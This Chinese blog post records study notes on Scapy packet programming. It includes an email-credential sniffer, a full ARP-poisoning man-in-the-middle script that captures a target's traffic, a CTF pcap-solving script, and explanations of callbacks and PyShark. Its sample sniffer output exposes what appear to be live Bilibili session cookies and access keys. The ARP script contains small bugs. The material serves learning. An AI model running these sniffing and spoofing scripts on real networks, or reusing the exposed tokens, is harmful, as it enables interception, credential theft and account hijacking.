第4章:Scapy编程

发布于 2022-01-21  902 次阅读


写在前面

  这一章的重点主要是在数据包的处理上,在未接触Scapy库之前,也有了解到能够做到这些需求的库其实并不少,Scapy库相对来说更标准一些吧。不过Scapy库的功能并非处理PacP包这个功能,对于使用Python的网络工程师是非常强大的一个库,所以还是有必要学习一下的,但是说到底,对于我来将所用到的还是相对较少的。

email_sniff.py

代码A

from scapy.all import *

# 数据包回调函数
def packet_callback(packet):
    print(packet.show())
    # show():格式化输出,将原本十六进制的数据转换成便于阅读的形式

# 开启嗅探器
sniff(prn=packet_callback,count=1)

#输出:
# ###[ Ethernet ]### 
#   dst       = 14:14:4b:6b:51:76
#   src       = 24:41:8c:15:df:10
#   type      = IPv4
# ###[ IP ]### 
#      version   = 4
#      ihl       = 5
#      tos       = 0x0
#      len       = 561
#      id        = 52187
#      flags     = DF
#      frag      = 0
#      ttl       = 128
#      proto     = tcp
#      chksum    = 0x0
#      src       = 192.168.69.36
#      dst       = 220.196.129.195
#      \options   \
# ###[ TCP ]### 
#         sport     = 8165
#         dport     = http
#         seq       = 2922214458
#         ack       = 1363736929
#         dataofs   = 5
#         reserved  = 0
#         flags     = PA
#         window    = 1022
#         chksum    = 0x6678
#         urgptr    = 0
#         options   = []
# ###[ Raw ]### 
#            load      = 'GET /api/notify/query.notify.count.do?_device=wp&_ulv=10000&access_key=2ec8d20af4375e20f7437272ef0ae591&actionKey=appkey&appkey=4409e2ce8ffd12b8&build=5250000&platform=android&ts=1638119967&sign=173202111913e5d78fecc720fe8ce2a8 HTTP/1.1\r\nAccept-Encoding: gzip, deflate\r\nHost: message.bilibili.com\r\nConnection: Keep-Alive\r\nCookie: sid=cjr1sybg; DedeUserID=8661277; DedeUserID__ckMd5=44aa54d9d9ab0952; SESSDATA=8e1a1548%2C1653664132%2Cff981*b1; bili_jct=08a78c85d4d8dd4d0a5d37e84e2e5981; LIVE_BUVID=AUTO5216381121420087\r\n\r\n'
#
# None

代码B

from scapy.all import *

# 数据包回调函数
def packet_callback(packet):
    if packet[TCP].payload:
        mail_packet = str(packet[TCP].payload)
        if "user" in mail_packet.lower() or "pass" in mail_packet.lower():
            print("[*] Server: %s" % packet[IP].dst)
            print("[*] %s" % packet[TCP].payload)

# 开启嗅探器
sniff(filter="tcp port 110 or tcp port 25 or tcp port 143",prn=packet_callback,store=0)

关于这个脚本

  这里我把两个脚本的代码放上来,并且放上了第一个脚本的输出,抓了一个比较有代表意义的输出。结合代码A的输出来看代码B中的代码,可以很轻易的理解诸如packet[TCP]的含义,简单理解就是packet其实是将抓取到的数据包存储为一个数组,payload可以指代取字段TCP下的内容,实际上packet是在网卡抓到的帧,每取一次payload就相当于向上解封装一次。我这里的说法可能不是最正确的,不过我个人觉得是比较贴切的,这里涉及Python解析PCAP数据包的操作。
  还有一点,我并没有进行成功这个脚本的应用测试,现在数据包传输都已经是加密的,直接这种嗅探器去抓取流量帧没有解密的话基本上看不到什么,所以呢,还是已学习代码编写为主,看看怎样的需求需要怎样去写。

arper.py

代码

from scapy.all import *
import os
import sys
import threading
import signal

def restore_target(gateway_ip,gateway_mac,target_ip,target_mac):
    # 以下代码中调用send函数的方式稍有不同
    print("[*] Restoring target..." )
    send(ARP(op=2,psrc=gateway_ip,pdst=target_ip,hwdst="ff:ff:ff:ff:ff:ff",hwsrc=gateway_mac),count=5)
    send(ARP(op=2,psrc=target_ip,pdst=gateway_ip,hwdst="ff:ff:ff:ff:ff:ff",hwsrc=target_mac),count=5)

    # 发送退出信号到主线程
    os.kill(os.getpid(),signal.SIGINT)

def get_mac(ip_address):
    responses,unanswered = srp(Ether(dst="ff:ff:ff:ff:ff:ff")/ARP(pdst=ip_address),timeout=2,retry=10)

    # 返回从相应数据中获取的MAC地址
    for s,r in responses:
        return r[Ether].src

    return None

def poison_target(gateway_ip,gatewap_mac,target_ip,target_mac):

    poison_target = ARP()
    poison_target.op = 2
    poison_target.psrc = gateway_ip
    poison_target.pdst = target_ip
    poison_target.hwdst = target_mac

    poison_gateway = ARP()
    poison_gateway.op = 2
    poison_gateway.psrc = target_ip
    poison_gateway.pdst = gateway_ip
    poison_gateway.hwdst = gateway_mac

    print("[*] Beginning the ARP poison. [CTRL -C to stop]")

    while True:
        try:
            send(poison_target)
            send(poison_gateway)

            time.sleep(2)
        except KeyboardInterrupt:
            restore_target(gateway_ip,gatewap_mac,target_ip,target_mac)

    print("[*] ARP poison attack finished")
    retrun

interface = "en1"
target_ip = "172.16.1.71"
gateway_ip = "172.16.1.254"
packet_count = 1000

# 设置嗅探的网卡
conf.iface = interface

# 关闭输出
conf.verb = 0

print("[*] Setting up %s" % interface)

gateway_mac = get_mac(gateway_ip)

if gateway_mac is None:
    print("[!!!] Failed to get gateway MAC. Exiting.")
    sys.exit(0)
else:
    print("[*] Gateway %s is at %s" % (gateway_ip,gateway_mac))

target_mac = get_mac(target_ip)

if gateway_mac is None:
    print("[!!!] Failed to get gateway MAC. Exiting.")
    sys.exit(0)
else:
    print("[*] Gateway %s is at %s" % (target_ip,target_mac))

# 启动ARP投毒线程
poison_target = threading.Thread(target=poison_target,args=(gateway_ip,gateway_mac,target_ip,target_mac))
poison_target.start()

try:
    print("[*] Starting sniffer for %d packets" % packet_count)
    bpf_filter = "ip host %s " % target_ip
    packets = sniff(count=packet_count,filter=bpf_filter,iface=interface)

    # 将捕获到的数据包输出到文件
    wrpcap('arper.pcap',packets)

    # 还原网络配置
    restore_target(gateway_ip,gateway_mac,target_ip,target_mac)
except KeyboardInterrupt:
    # 还原网络配置
    restore_target(gateway_ip,gateway_mac,target_ip,target_mac)
    sys.exit(0)

关于这个脚本

  对于这个脚本在解释其中一些内容之前,必须要强调一点——养成先定义后调用的编程习惯,至于为什么?

  1. 在没有main函数的情况下,Python解释器会逐行读取你所编写的程序,如果你是调用在定义之前,那么程序就会报错
  2. 也是因为Python解释器是逐行读取程序,先定义则会将定义好的函数和其他一些变量提前加载到内存中,会提升程序运行速度,不会出现我需要用了再去全文找在哪里定义的并且加载进去

  另外就是书上的原生脚本,在你自己编写的过程中,你会发现有些内容会被编写工具标记为错误,主要的原因是作者在编写的过程中使用的是自己机器上的网卡,自己如果使用的话就需要设置自己的相应的网卡。还有一点就是想方便更改网卡名称的话可以用Linux-kali系统去运行这个脚本,对于脚本来说Windows网卡名称不好说会不会出现其他的问题。这里我就不在进行更改了,主要还是以学习编程经验为主。
  更改部分如下:

interface = "en1"
target_ip = "172.16.1.71"
gateway_ip = "172.16.1.254"
packet_count = 1000

# 如果不更改就会出现以下报错:
# OSError: b'en1: No such device exists (No such device exists)'

pic_carver.py

关于这个脚本

  这个脚本使用到了一个新的库就是cv2,这个库安装出现了一点小插曲,在pycharm中安装的时候注意搜索对象应为opencv-python而并非cv2。后续在学习中觉得书中写的这个脚本对于我来说并没有很大的实际用途,所以,我这里换了一个练习,一道CTF中关于PCAP包的处理的题目。
  这个题目是2019年工业信息安全竞赛上的一道题,在XCTF-攻防世界中也有这道题,感兴趣的大家也可以动手自己做一下。

image-20220121152558615

解题代码

import pyshark
import base64

L_flag= []
packets = pyshark.FileCapture("fetus_pcap.pcap")

for packet in packets:
    for pkt in packet:
        if pkt.layer_name == "icmp":
            if int(pkt.type) != 0:
                L_flag.append(int(pkt.data_len))

for i in range(0,len(L_flag)):
    L_flag[i]=chr(L_flag[i])
print(''.join(L_flag))
print(base64.b64decode(''.join(L_flag)))

  这里使用的是PyShark库,PyShark库同样也能够对PacP包进行处理,在之前的一段时间里,还是比较多的人去使用这个库。相对于scapy库算是功能更具体,操作更方便一些。其实不仅仅是PyShark库、scapy库能够对PacP包进行处理,除此之外dpkt库也可以达到同样的效果,同时dpkt库的性能要优于其他两者。

解题思路

  数据包文件中每一个数据包的data字段都有内容,但是对这部分内容解密失败,然后对ICMP数据包进行分析,data长度对应ASCII值,所以编写脚本将此内容自动化处理整合,结束后可以看到一串base64字符串,然后对这串字符串进行base64解码即可得到这道题的flag。

Scapy库

  Scapy是一个强大的,用Python编写的交互式数据包处理程序,它能让用户发送、嗅探、解析,以及伪造网络报文,从而用来侦测、扫描和向网络发动攻击。Scapy可以轻松地处理扫描(scanning)、路由跟踪(tracerouting)、探测(probing)、单元测试(unit tests)、攻击(attacks)和发现网络(network discorvery)之类的传统任务。它可以代替hping,arpspoof,arp-sk,arping,p0f 甚至是部分的Nmap,tcpdumptshark 的功能。
  这个库虽然功能很强大,但是目前来说对于我日常的Python编程需求来说并没有太大的帮助,所以具体库的使用方法我这里就不进行介绍了,只是通过这个库来看一写Python编程中的一些概念,例如下面要说的回调函数。

回调函数(callback)

概念

  回调函数就是一个被作为参数传递的函数。在C语言中,回调函数只能使用函数指针实现,在C++、Python、ECMAScript等更现代的编程语言中还可以使用仿函数或匿名函数。
  回调函数的使用可以大大提升编程的效率,这使得它在现代编程中被非常多地使用。同时,有一些需求必须要使用回调函数来实现。
  最著名的回调函数调用有C/C++标准库stdlib.h/cstdlib中的快速排序函数qsort和二分查找函数bsearch中都会要求的一个与strcmp类似的参数,用于设置数据的比较方法。

机制

  1. 定义一个回调函数;
  2. 提供函数实现的一方在初始化的时候,将回调函数的函数指针注册给调用者;
  3. 当特定的事件或条件发生的时候,调用者使用函数指针调用回调函数对事件进行处理。

Python中的回调函数

  Python中并没有指针的说法,一般都是讲函数名,简单来说就是定义一个函数,然后将这个函数的函数名传递给另一个函数做参数,以这个参数命名的函数就是回调函数。

def my_callbcak(args):
    print(type(args))
    print(*args)

def caller(args, func):
    func(args)

caller((1,2), my_callbcak)

# 结果:
# <class 'tuple'>
# 1 2

  其中:my_callback是回调函数,因为它作为参数传递给了caller。
  而在本章中的第一个脚本中,packet_callback()函数作为对数据包进行处理的一个函数,由sniff函数经由prn参数进行调用对嗅探器中抓取的数据包进行处理。

PyShark库

FileCapture和LiveCapture模块

  PyShark中进行数据包分析的两个典型方法是使用FileCaptureLiveCapture模块,前者从一个存储的捕获文件中导入数据包,后者将使用本机的网络接口进行嗅探,使用这两个模块都会返回一个capture对象。

filtered_cap = pyshark.FileCapture(path_to_file, display_filter='http')
filtered_cap2 = pyshark.LiveCapture('eth0', bpf_filter='tcp port 80')

display_filter和bpf_filter

  对于上述两个模块,有两种类型的过滤器,BPF 过滤器显示过滤器。通常,bpf过滤器受到更多限制,但速度更快,而显示过滤器几乎可以用于数据包的任何属性,但速度要慢得多。
  这些过滤器有助于使你的应用集中精力于你想要分析的内容上。类似于使用Wireshark或者tshark进行嗅探,BPF过滤器可以用于确定进入到返回的capture对象中的流量。BPF过滤器的灵活性不如Wiresharkdisplay过滤器,但是仍可以创造性的使用这些有限的关键字和偏移过滤器。

写在最后

  这一篇说实话拖了很长时间了,距离第三章发布这已经过去了有四个月了。哇!这么一算竟然这么长时间了,虽然中间并没有停下更新其他的内容,但是这一章的学习着实比较痛苦,并不是学不懂的痛苦,而是越学越觉得之后可能就用不到这些的痛苦。
  在学习了前两个内容后,第三个内容还是更改到了我自己觉得有些作用的PyShark库上,这边我还会更详细的写一写,放在其他地方,请等待更新吧。